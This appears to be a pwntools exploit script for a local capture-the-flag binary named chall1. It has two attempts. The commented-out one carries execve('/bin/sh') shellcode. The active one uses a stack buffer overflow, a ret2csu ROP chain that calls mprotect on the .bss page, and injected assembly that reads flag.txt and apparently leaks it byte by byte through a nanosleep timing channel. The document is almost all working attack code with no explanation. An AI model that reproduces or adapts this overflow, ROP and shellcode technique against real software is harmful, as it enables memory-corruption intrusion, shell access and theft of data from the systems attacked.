'''from pwn import *
p = process('/home/geethna/binary/chall/chall1')
gdb.attach(p)
shellcode = "\x48\x31\xd2\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
mprotect = p64(0x00000000004004d0)
ret_main = p64(0x00000000004005f4)
bss = p64(0x601080+0x100)
bss_next = p64(0x601080+0x100)
leave_ret = p64(0x000000000040065e)
pop_r12_13_14_15 = p64(0x00000000004006bc)
ret_chain_call = p64(0x0000000000400696)
arg1 = p64(0x601080)                            #address of arr
arg2 = p64(0x21000)
arg3 = p64(0x7)
exp = "a"*0x70 + bss + ret_main
exploit1 = mprotect + "b"*104 + bss_next + leave_ret
#print exploit1
#p.recvuntil('Name: ')
p.sendline(exp)
p.sendline(exploit1)
p.interactive()'''

from pwn import *
context.arch='amd64'
io=process("./chall1")
gdb.attach(io)

bss1 = 0x601325
gets_before = 0x400605
payload = 'a'*0x70 + p64(bss1) + p64(gets_before)
io.sendline(payload)

mprotect_plt = 0x4004d0
libc_csu_90 = 0x00000000004006ca
pointer_mprotect = 0x6012b5
bsspage = 0x00601000
libc_csu_64 = 0x00000000004006b0
bss2 = 0x601090
pop_rbx = 0x601409
pop_rbp = 0x601325
pop_r12 = -0x2a08da0
pop_r13 = 0x6010a0
pop_r14 = 0
pop_r15 = 0
gets_plt = 0x4004c0
leave = 0x00400668
payload1 = (p64(mprotect_plt)).ljust(0x78,'\x00') + p64(0x00000000004006ca) + (flat([0 , 1 , pointer_mprotect , bsspage , 0x1000 , 7 , libc_csu_64 , 'a'*8 , pop_rbx , pop_rbp , pop_r12 , pop_r13 , pop_r14 , pop_r15 , p64(0x6013b7)])).ljust(130,'\x00') + (asm("""
mov rax,0x2 
mov rdi,0x6014dd
xor rsi,rsi
syscall

mov rdi,rax
mov rax,0x0
mov rsi,0x601123
mov rdx,50
syscall

mov rdx,rax
mov r8,0
cmp r8,rdx
jb loop
jmp exit

loop:
add rsi,0x1
mov r9,65
jmp nestedfor

nestedfor:
cmp r9,127
jb loop2
add r8,0x1
jmp loop

loop2:
cmp BYTE PTR[rsi],r9b
je exit
mov rdi,0x6014cd
mov rsi,rdi

mov rax,35
syscall
mov rsi,0x601124
add r9,0x1
jmp nestedfor

exit:
mov rax,60
mov rsi,0x0
syscall""")).ljust(278,'\x00') + p64(2) + p64(2) + 'flag.txt' 
    
#:load1 += flat([0 , libc_csu_90 , 0 , 1 , pointer_mprotect , bsspage , 0x1000 , 7 , libc_csu_64 , 'a'*8 , pop_rbx , pop_rbp , pop_r12 , pop_r13 , pop_r14 , pop_r15 , libc_csu_64])
io.sendline(payload1)

#payload2 = ).ljust(0x280,'\x00')  
'''
payload2 += p64(0x601098) + p64(0x6010a0)
io.sendline(payload2)
'''
io.interactive()

